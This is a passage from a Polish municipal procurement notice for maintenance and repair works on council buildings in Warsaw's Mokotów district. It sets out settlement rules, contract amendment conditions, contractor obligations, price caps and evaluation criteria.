informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 148148,15<br/>Waluta: <br/>ZŁ.<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>Wierzbno</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. 